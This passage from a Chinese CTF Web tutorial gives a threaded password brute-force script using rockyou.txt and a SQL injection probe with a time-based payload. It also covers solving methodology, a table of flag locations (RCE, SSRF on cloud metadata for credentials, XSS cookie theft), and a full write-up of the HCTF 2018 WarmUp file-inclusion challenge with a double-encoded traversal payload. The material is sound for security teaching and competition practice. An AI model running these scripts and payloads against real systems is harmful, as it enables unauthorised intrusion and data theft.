Options中的Grep - Match,设置响应特征字符串可自动标记命中行,配合Options→Redirections处理302跳转。
11.4 Python requests通用脚本
爆破脚本模板:
python
import requests
from concurrent.futures import ThreadPoolExecutor
url = "http://target/login"
def login(pwd):
r = requests.post(url, data={"user":"admin","pass":pwd}, timeout=5)
if "success" in r.text:
print(f"[+] FOUND: {pwd}")
return pwd
return None
with open("rockyou.txt", encoding="utf-8", errors="ignore") as f:
pwds = [x.strip() for x in f]
with ThreadPoolExecutor(max_workers=20) as ex:
list(ex.map(login, pwds))
多字段盲注自动检测:
python
import requests
# 列举注入点并自动判断类型
tests = {
"single_quote": "1'",
"and_true": "1 and 1=1",
"and_false": "1 and 1=2",
"time": "1' and sleep(3)--+",
}
for name, payload in tests.items():
r = requests.get("http://target/index.php", params={"id": payload})
print(f"{name}: status={r.status_code} len={len(r.text)}")
11.5 pwntools用于Web
pwntools虽主打Pwn,但其requests封装、并发与交互能力对Web题也很有用,尤其处理需要多步交互、保持会话的场景。
python
from pwn import *
context.log_level = 'info'
io = remote('target', 80)
io.sendline(b'GET /flag HTTP/1.1\r\nHost: target\r\n\r\n')
print(io.recvall().decode())
十二、解题方法论与思维导图
12.1 解题通用流程
CTF Web题通用解题流程可概括为五步,文字描述如下:
第一步,信息收集:查看源码、响应头、robots.txt、扫描目录与备份文件、识别CMS指纹,目标是掌握完整攻击面。此步常占解题时间的30%以上,新手易急于求成跳过。
第二步,功能枚举:把题目所有交互功能(登录、注册、上传、查询、搜索、导出、API)逐一记录,标注每个功能的输入点与预期输出。
第三步,漏洞定位:对每个输入点套用各类注入测试(SQL/XSS/SSRF/文件/反序列化/逻辑),用最简Payload试探,记录有异常响应的点。
第四步,利用构造:针对定位到的漏洞点,构造完整利用链,绕过存在的过滤,目标指向Flag位置。
第五步,Flag获取:执行利用链拿到Flag,必要时维持权限或横向移动到第二处Flag。
12.2 常见Flag位置清单
| 位置 | 获取方式 |
|---|---|
| 数据库flag表 | SQL注入dump |
| 根目录/flag.txt | RCE执行cat /flag |
| 源码文件flag.php | 文件包含/源码泄露读取 |
| 环境变量 | RCE执行env/printenv |
| 内网其他服务 | SSRF打内网Redis/MySQL |
| 云对象存储 | 云元数据SSRF拿凭据后访问 |
| 管理员后台 | XSS窃Cookie/越权进入 |
| 隐藏API | 目录扫描/GraphQL内省 |
| 配置文件 | LFI读config/数据库配置 |
| 二维码/图片隐写 | 配合Misc方向 |
12.3 快速判断题型决策树
拿到一道Web题,按以下顺序快速判断题型:
- 页面有输入框且有回显?→ 优先测SQL注入(UNION)与XSS。
- 有上传功能?→ 测文件上传绕过与文件包含。
- 有URL输入且后端会请求?→ 测SSRF。
- 源码中看到
unserialize/phar/Fastjson?→ 测反序列化。 - 模板渲染(Flask/Twig/Smarty)?→ 测SSTI。
- 有命令执行点(ping/dig)?→ 测命令注入。
- 业务流(支付/找回/权限)?→ 测逻辑漏洞。
- 前端加密/特殊协议?→ JS逆向/WS/GraphQL。
12.4 常见坑与陷阱总结
| 陷阱 | 说明 |
|---|---|
| 只测一种闭合方式 | SQL注入卡死,多试'、"、)组合 |
| 忽视源码注释 | Flag/账号常在HTML注释中 |
| 盲目跑sqlmap | 过滤导致误判,先手工确认 |
| 忽略响应头 | X-Hint/Server常给关键线索 |
| 跳过信息收集直奔漏洞 | 漏掉备份源码/隐藏接口 |
| 上传成功但马不解析 | 未找对解析路径或未配htaccess |
| 时间盲注阈值过低 | 网络抖动误判,阈值要大 |
| 以为没回显就没漏洞 | 改用带外/盲注 |
| WAF绕过只用一种 | 组合多维度绕过更有效 |
12.5 时间管理策略
CTF比赛时长有限,时间分配建议:单题超过30分钟无明显进展,先记录当前思路转做其他题;Flag线索明显的题优先攻;难题最后集中时间,必要时请教队友组合思路。练习阶段则相反,难题值得花数小时深挖,体会比Flag更重要。
十三、实战案例:完整CTF Web解题
13.1 题目背景
选取BUUCTF经典题**HCTF 2018WarmUp**作为演示。题目入口是一个简单页面,从信息收集到拿到Flag,完整呈现解题链路。所有内容仅作教学演示。
13.2 第一步:信息收集
访问题目首页,页面只有一行提示文字。第一步查看源码。
html
<!-- source.php -->
<!-- 提示存在源码 -->
HTML注释暴露source.php,访问/source.php得到PHP源码。这是典型的"源码泄露"考点,信息收集阶段就发现了关键入口。
13.3 第二步:源码审计
source.php核心逻辑(简化):
php
<?php
highlight_file(__FILE__);
class emmm {
public static function checkFile(&$page) {
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || ! is_string($page)) return false;
if (in_array($page, $whitelist)) return true;
$page = mb_strtolower(mb_substr($page, 0, mb_strrpos($page . '?', '?')));
if (in_array($page, $whitelist)) return true;
$page = urldecode($page);
$page = mb_strtolower(mb_substr($page, 0, mb_strrpos($page . '?', '?')));
if (in_array($page, $whitelist)) return true;
return false;
}
}
if (! empty($_REQUEST['file']) && is_string($_REQUEST['file'])) {
$page = $_REQUEST['file'];
if (emmm::checkFile($page)) {
include $page;
exit;
} else {
echo "bad request!";
}
}
?>
审计要点:
- 最终危险操作是
include $page,即文件包含。 - 白名单只允许
source.php与hint.php,直接包含flag会被拦。 - 关键在
mb_strrpos($page.'?','?')这一行:它会在字符串末尾补一个?再找最后一个?位置,然后截取到该位置。如果$page不含?,截取后仍是原串,过不了白名单。 - 但第二次判断前有
urldecode($page),对?做URL编码%3F后,第一次截取(原始串)过不了白名单,但urldecode后变回?,第二次截取取到?之前部分,恰好是白名单内的hint.php。 - 因此Payload思路:
file=hint.php%253F/../../ffffllllaaaaggg(多层URL编码?为%253F,配合include对路径的处理)。
13.4 第三步:构造Payload
访问hint.php获得进一步提示,Flag文件名为ffffllllaaaaggg,位于多层上级目录。最终Payload:
?file=hint.php%253f../../../../../ffffllllaaaaggg
# 或用 source.php 同理
?file=source.php%253f../../../../../ffffllllaaaaggg
原理拆解:
source.php%253f经PHPurldecode一次变为source.php%3f(一次解码)。- 函数内再
urldecode一次变为source.php?。 mb_strrpos找到?,截取后是source.php,过白名单。include接收的最终值是source.php?/../../../../../ffffllllaaaaggg,PHP的include对路径中的?之后部分视为查询字符串不处理文件名,但..目录穿越生效,最终包含/ffffllllaaaaggg。
13.5 第四步:获取Flag
提交Payload,页面返回Flag。整道题从信息收集(看源码注释找source.php)→源码审计(白名单+mb_substr截断漏洞)→Payload构造(双重URL编码?+目录穿越)→包含读取,完整闭环。
【提示】 本题的精髓在于理解
mb_substr+mb_strrpos的截断逻辑与urldecode的双重解码。CTF中遇到看似严格的白名单校验,重点看是否有二次解码、截断、类型转换等可被构造绕过的环节。
13.6 解题复盘
本题没有用任何WAF绕过或高级漏洞,纯粹考察代码审计与对PHP函数行为理解的深度。复盘要点:
- 信息收集阶段看源码注释是本题的入口,跳过这步直接懵。
- 白名单不是铁板一块,结合
urldecode二次解码与截断可实现穿越。 include对路径的处理与mb_*函数的细节是构造Payload的关键。
十四、总结与参考资源
14.1 CTF Web学习路线图
建议按"知识块→实战→复盘"的循环推进,路线如下:
| 阶段 | 学习重点 | 实践 |
|---|---|---|
| 入门 | HTTP基础、SQL基础、PHP基础、常见漏洞概念 | CTFHub技能树全部Web题 |
| 进阶 | SQL注入全类型、文件上传/包含、XSS/SSRF、自动化工具 | BUUCTF Web区中等题 |
| 高级 | 反序列化链构造、SSTI、Java Web、云安全、JS逆向 | 历年DEFCON/强网杯复刻题 |
| 综合 | 组合漏洞、真实CVE复现、攻防模式 | 线下赛真题、HackTheBox |
14.2 常用工具速查表
| 用途 | 工具 |
|---|---|
| 抓包改包 | Burp Suite |
| 目录扫描 | dirsearch、gobuster、ffuf |
| SQL注入 | sqlmap |
| 指纹识别 | whatweb、Wappalyzer |
| git泄露 | GitHack、dirsearch |
| 漏洞利用 | Metasploit、searchsploit |
| 编码解码 | CyberChef、Bugku工具箱 |
| 反序列化 | phpggc、ysoserial、fastjson链 |
| SSTI | tplmap |
| 云安全 | pacu、awscli、aliyun cli |
14.3 学习资源
在线靶场:BUUCTF、CTFHub、NSSCTF、攻防世界、HackTheBox、TryHackMe、Vulhub(漏洞环境复现)。
WriteUp资源 :CTFtime(全球赛事归档)、BUUCTF题解区、各安全团队博客(先知、安全客、Seebug)、GitHub上ctf-wiki项目。
书籍与文档:
- 《CTF特训营》------技术全面,适合系统学习
- 《白帽子讲Web安全》------Web安全经典
- 《Web安全深度剖析》------漏洞原理深入
- ctf-wiki.github.io------社区维护的CTF知识库
社区与赛事:国内强网杯、网鼎杯、XCTF联赛;国际DEFCON、PlaidCTF、Google CTF。关注赛事官网与CTFtime日历可获取赛程。
【提示】 学习CTF最高效的方式是"做题→写WriteUp→读他人WriteUp→复现"。每道题至少读3份不同思路的解法,长期积累会比单纯刷题快得多。所有技术仅限授权环境使用,参赛即意味着同意赛事规则与法律边界。
CTF Web方向的精髓不在于记住多少Payload,而在于建立"从输入点到Flag"的完整思维链。信息收集决定攻击面,漏洞定位决定方向,利用链构造决定成败,自动化脚本决定效率。把这套方法论内化为本能反应,面对任何新题都能快速定位突破口。本文梳理的题型、Payload与脚本只是起点,真正的提升来自持续的实战与复盘。愿每位读者都能在合规合法的前提下,享受解题的乐趣,成长为合格的Web安全从业者。

